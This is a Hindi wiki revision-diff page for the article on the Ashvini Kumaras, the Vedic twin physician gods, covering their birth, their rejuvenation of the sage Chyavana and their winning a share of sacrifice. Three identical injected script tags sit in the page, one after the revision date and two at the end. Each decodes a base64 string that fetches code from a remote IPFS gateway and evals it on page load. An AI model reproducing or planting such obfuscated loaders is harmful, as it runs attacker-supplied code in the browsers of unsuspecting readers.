"अश्विनीकुमार" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> ==अश्विनीकुमार / Ashwani Kumar== *अश्विनी से उत्पन्न, सूर्य के औरस पुत...) |
|||
पंक्ति ३: | पंक्ति ३: | ||
*अश्विनी से उत्पन्न, [[सूर्य]] के औरस पुत्र, दो वैदिक देवता थे। | *अश्विनी से उत्पन्न, [[सूर्य]] के औरस पुत्र, दो वैदिक देवता थे। | ||
*ये देव चिकित्सक थे। | *ये देव चिकित्सक थे। | ||
− | *उषा के पहले ये रथारूढ़ होकर आकाश में भ्रमण करते हैं और सम्भव है इसी | + | *उषा के पहले ये रथारूढ़ होकर आकाश में भ्रमण करते हैं और सम्भव है इसी कारण ये सूर्य-पुत्र मान लिये गये हों। |
*पुराणों के अनुसार [[नकुल]] और [[सहदेव]] इन्हीं के अंश से उत्पन्न हुए थे। | *पुराणों के अनुसार [[नकुल]] और [[सहदेव]] इन्हीं के अंश से उत्पन्न हुए थे। | ||
*निरूक्तकार इन्हें 'स्वर्ग और पृथ्वी' और 'दिन और रात' के प्रतीक कहते हैं। | *निरूक्तकार इन्हें 'स्वर्ग और पृथ्वी' और 'दिन और रात' के प्रतीक कहते हैं। | ||
− | *राजा शर्याति की पुत्री सुकन्या के पातिव्रत से प्रसन्न होकर महर्षि च्यवन का | + | *राजा शर्याति की पुत्री सुकन्या के पातिव्रत से प्रसन्न होकर महर्षि [[च्यवन]] का इन्होंने वृद्धावस्था में कायाकल्प करा उन्हें चिरयौवन प्रदान किया था। |
*चिकित्सक होने के कारण इन्हें देवताओं का यज्ञ भाग प्राप्त न था। | *चिकित्सक होने के कारण इन्हें देवताओं का यज्ञ भाग प्राप्त न था। | ||
− | *च्यवन ने इन्द्र से इनके लिए संस्तुति कर इन्हें यज्ञ भाग दिलाया था। | + | *च्यवन ने [[इन्द्र]] से इनके लिए संस्तुति कर इन्हें यज्ञ भाग दिलाया था। |
*दध्यंग ऋषि के सिर को इन्होंने ही जोड़ा था। पर [[ब्रह्मा]] [[राम]] के विराट रूप का उल्लेख करते हुए [[मंदोदरी|मन्दोदरी]] ने [[रावण]] के समक्ष इन्हें राम का लघु-अंश बताया है। | *दध्यंग ऋषि के सिर को इन्होंने ही जोड़ा था। पर [[ब्रह्मा]] [[राम]] के विराट रूप का उल्लेख करते हुए [[मंदोदरी|मन्दोदरी]] ने [[रावण]] के समक्ष इन्हें राम का लघु-अंश बताया है। | ||
१३:४५, २५ अक्टूबर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अश्विनीकुमार / Ashwani Kumar
- अश्विनी से उत्पन्न, सूर्य के औरस पुत्र, दो वैदिक देवता थे।
- ये देव चिकित्सक थे।
- उषा के पहले ये रथारूढ़ होकर आकाश में भ्रमण करते हैं और सम्भव है इसी कारण ये सूर्य-पुत्र मान लिये गये हों।
- पुराणों के अनुसार नकुल और सहदेव इन्हीं के अंश से उत्पन्न हुए थे।
- निरूक्तकार इन्हें 'स्वर्ग और पृथ्वी' और 'दिन और रात' के प्रतीक कहते हैं।
- राजा शर्याति की पुत्री सुकन्या के पातिव्रत से प्रसन्न होकर महर्षि च्यवन का इन्होंने वृद्धावस्था में कायाकल्प करा उन्हें चिरयौवन प्रदान किया था।
- चिकित्सक होने के कारण इन्हें देवताओं का यज्ञ भाग प्राप्त न था।
- च्यवन ने इन्द्र से इनके लिए संस्तुति कर इन्हें यज्ञ भाग दिलाया था।
- दध्यंग ऋषि के सिर को इन्होंने ही जोड़ा था। पर ब्रह्मा राम के विराट रूप का उल्लेख करते हुए मन्दोदरी ने रावण के समक्ष इन्हें राम का लघु-अंश बताया है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>